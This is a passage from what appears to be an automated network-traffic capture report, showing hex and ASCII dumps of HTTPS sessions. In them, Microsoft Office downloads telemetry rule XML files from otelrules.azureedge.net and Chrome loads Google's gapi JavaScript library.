66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-16 22:36:20 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223621Z-16547b76f7fk9g8vhC1DFW8254000000046g000000009891 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223621Z-1866b5c5fbb2ngs6hC1DFW402w00000001rg000000003s7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:21 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223621Z-16547b76f7fgvq8chC1DFWhd2w00000003wg00000000pv8v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223621Z-16547b76f7fxqj4khC1DFWpypw00000000p000000000srdb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223621Z-16547b76f7fz92z5hC1DFWmdx800000001n000000000ngaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49725	216.58.206.78	443	3772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:21 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 22:36:21 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Nov 2024 00:30:46 GMT Expires: Sat, 15 Nov 2025 00:30:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 165935 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-16 22:36:21 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return 